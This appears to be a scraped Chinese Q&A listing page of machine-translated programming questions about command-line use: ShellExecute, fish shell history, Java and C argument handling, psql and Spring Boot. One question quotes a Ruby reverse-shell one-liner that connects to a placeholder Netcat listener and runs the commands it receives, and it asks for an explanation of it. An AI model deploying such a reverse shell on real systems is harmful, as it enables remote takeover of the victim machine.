标签: command-line

如何使用ShellExecute在"配置"模式下运行屏幕保护程序?操作系统会覆盖我的ShellExecute调用

我想用ShellExec在'config'模式下运行一个屏幕保护程序.我用这个(Delphi)调用:

 i:= ShellExecute(0, 'open', PChar('c:\temp\test.scr'), PChar('/c'), NIL, SW_SHOWNORMAL)
Run Code Online (Sandbox Code Playgroud)

但是,SCR文件接收的参数是'/ S',因此在路上的某个地方,Windows拦截我的呼叫并用'/ S'替换我的参数.


更新
我做了一个实验:
我构建了一个显示参数的应用程序(mytest.exe).我用/ c作为参数启动了mytest.exe.正确接收/ c参数.
然后我将mytest.exe重命名为mytest.scr.现在,操作系统会覆盖发送的参数.收到的参数现在是'/ S'.

有趣!

脏修复:执行以/ c模式执行屏幕保护程序的CMD文件有效!

delphi shell command-line shellexecute screensaver

1
推荐指数
1
解决办法
142
查看次数

跨会话永久清除鱼壳历史

我正在尝试将一些bash dotfile转换为它们的等效项。

我有一个~/.bash_logout看起来像这样:

# Flush the in-memory history, then persist the emptiness to disk.
history -c && history -w;
Run Code Online (Sandbox Code Playgroud)

尽管fish 确实具有history命令,但是它没有相同的选项,因此上述内容无法在fish中照常使用。

到目前为止history clear,我得到的最接近的是,尽管这似乎仅适用于当前会话,并且不会保留下来,因为历史记录会在我创建的任何新选项卡中返回。此外,它会提示您进行确认,我希望每次注销时都不必这样做。

但是,这是进步,因此基于另一个答案,我将其输入~/.config/fish/config.fish

function on_exit --on-process %self
    history clear
end
Run Code Online (Sandbox Code Playgroud)

这似乎甚至没有提示我,更不用说做任何有用的事情了。否则,它就不会阻塞并且发生得太快,以至于我看不到它。

如何在出口处理程序中永久擦除鱼壳历史并在以后的会话中保持该状态?现有的会话也将很好,但是重要性不那么高。

最后,history手册页指出“内置历史记录”不会提示您进行确认。改为使用它是否有意义,如果可以,如何使用?

·clear清除历史记录文件。在删除历史记录之前会显示一个提示,要求您确认您是否确实要清除所有历史记录,除非使用内置历史记录。

shell command-line input-history fish

1
推荐指数
1
解决办法
2015
查看次数

Java输入来自终端的奇怪行为

我有以下代码,除了命令行参数,每次我写"Insertion"它不会进入if语句所以输出将是"Algorithm not found. Use: [ Insertion | Merge ]"

  public static void main(String[] args) throws IOException, InsertionAndMergeException, Exception {
    if( args.length < 2 ) {
      System.out.println("Use: <path> <algorithm> ");
      System.exit(1);
    }

    if(args[1] == "Insertion" || args[1] == "Merge"){

      testWithComparisonFunction(args[0], args[1], new RecordComparatorIntField());

    }else
      System.out.println("Algorithm not found. Use: [ Insertion | Merge ]");
  }  
Run Code Online (Sandbox Code Playgroud)

在命令行中我打字这个,我做错了什么?

java insertionandmergeusagejava/InsertionAndMer
geUsage "/home/zenoraiser/Scrivania/Università/Secondo Anno/Algoritmi/1718/LAB/Progetto/Integers.txt" "Insertion"
Run Code Online (Sandbox Code Playgroud)

java shell command-line args

1
推荐指数
1
解决办法
50
查看次数

Postgres:在一行中创建角色

我想在一行中创建一个角色/用户。这是我尝试过的:

psql -U postgres -c 'createuser my_app with createdb login password 'my_password';'
psql: warning: extra command-line argument "with" ignored
psql: warning: extra command-line argument "createdb" ignored
psql: warning: extra command-line argument "login" ignored
psql: warning: extra command-line argument "password" ignored
psql: warning: extra command-line argument "'my_password';'" ignored
psql: FATAL:  database "my_app" does not exist
Run Code Online (Sandbox Code Playgroud)

代替createuser我也尝试了create usercreate role,但是无论如何,我得到了相同的错误。我在Windows上使用(PostgreSQL)9.6.2

我究竟做错了什么?


更新:

我尝试使用双引号,但是由于某些原因,postgres似乎不喜欢我的双引号。在单引号内使用双引号神秘地起作用->谢谢@Laurenz

psql -U postgres -c "createuser my_app with createdb login password 'my_password';" …
Run Code Online (Sandbox Code Playgroud)

postgresql command-line

1
推荐指数
1
解决办法
772
查看次数

Windows目录名无效

这是我的代码,我正在尝试这个,但它不断重复相同的错误.如果我做错了,请告诉我.

import os
import sys

for x in sys.argv:
    for ff in os.listdir(x):
        path = os.path.join(x, ff)
        if os.path.isdir(path):
            print('\n--' + path)
        else:
            print('\t------' + path)
Run Code Online (Sandbox Code Playgroud)

这是错误不断重复,一次又一次,请有人帮助我.

Traceback (most recent call last):
  File "E:/projects/Intern/file&folders/cc.py", line 5, in <module>
    for ff in os.listdir(x):
NotADirectoryError: [WinError 267] The directory name is invalid: 'E:/projects/Intern/file&folders/cc.py'
Run Code Online (Sandbox Code Playgroud)

python command-line python-3.x

1
推荐指数
1
解决办法
342
查看次数

根据命令行参数注入实现

有没有办法在Spring Boot中基于​​命令行参数注入特定的接口实现?

我有一个数据加载应用程序,并根据命令行参数我需要加载特定类型的数据.

这是我的主要课程CommandLineRunner:

@SpringBootApplication
public class DataLoadersApplication implements CommandLineRunner {

    private Type1LoadProcess type1LoadProcess;
    private Type2LoadProcess type2LoadProcess;

    public DataLoadersApplication(Type1LoadProcess type1LoadProcess,
      Type2LoadProcess type2LoadProcess) {
        this.type1LoadProcess = type1LoadProcess;
        this.type2LoadProcess = type2LoadProcess;
    }

    public static void main(String[] args) {
        SpringApplication.run(DataLoadersApplication.class, args);
    }

    @Override
    public void run(String... args) {
        if (args[0].equalsIgnoreCase("load-type1")) {
            type1LoadProcess.process();
        } else if (args[0].equalsIgnoreCase("load-type2")) {
            type2LoadProcess.process();
        } 
    }
}
Run Code Online (Sandbox Code Playgroud)

有没有办法DataLoadeProcess用两个实现创建一个接口,Type1DataLoadProcessType2DataLoadProcess根据命令行arg在main类中注入实现?

java command-line interface autowired spring-boot

1
推荐指数
1
解决办法
63
查看次数

Ruby单线故障?

我是Ruby的新手,并试图更好地理解这个反向shell单线程,旨在连接回Netcat监听器.

有人可以尝试打破命令并解释一些代码实际上做了什么吗?例如,我知道"TCPSocket.new"创建了新的TCP套接字,但是什么是"cmd = c.gets","IO.popen","| io | c.print io.read"等等.什么是while循环的目的?

ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
Run Code Online (Sandbox Code Playgroud)

ruby shell command-line ruby-on-rails netcat

1
推荐指数
1
解决办法
65
查看次数

一次导入许多静态字符串

如何一次导入许多静态字符串?捆绑什么的?

喜欢:

import java.lang.Boolean.TRUE;
import java.lang.Boolean.FALSE;
Run Code Online (Sandbox Code Playgroud)

只有一个命令.我是否必须将它们放在捆绑中的布尔类中?

java string import command-line static

1
推荐指数
1
解决办法
54
查看次数

在c中使用带有命令行参数的if语句

我在使用if语句处理命令行中的参数时遇到问题.我得到一个错误说,'每次指针和整数('char*'和'int')之间的比较.任何帮助将不胜感激.以下是我必须做的描述:

该程序将从命令行读取参数并将其转换为相应月份的名称.即如果您使用以下参数运行程序:

它将打印以下消息:

这个月是'四月'.

#include <stdio.h>

int main(int argc, char *argv[]) {
    if(argv[1] == 1){
        printf("You entered the number 1.");
    } else {
        printf("You entered a different number.");
    }

    return 0;
}
Run Code Online (Sandbox Code Playgroud)

c command-line if-statement

1
推荐指数
1
解决办法
86
查看次数

CLI:在字符串中递增数字,同时保留填充的零

我目前使用此perl命令来增加字符串中的最后一个数字:

perl -pe 's/(\d+)(?!.*\d+)/$1+1/e' <<< "abc123_00456.txt"
Run Code Online (Sandbox Code Playgroud)

它输出abc123_457.txt,而我想要abc123_00457.txt

我也想99增加到100,尽管如果太难了00也是可以接受的。

我想要的其他一些示例:

09 -> 10
004 -> 005
Run Code Online (Sandbox Code Playgroud)

我还希望能够增加任意数量(不只是1),所以不可以++

我不想使用shell的内置函数来完成此任务。

regex string perl command-line sed

1
推荐指数
1
解决办法
62
查看次数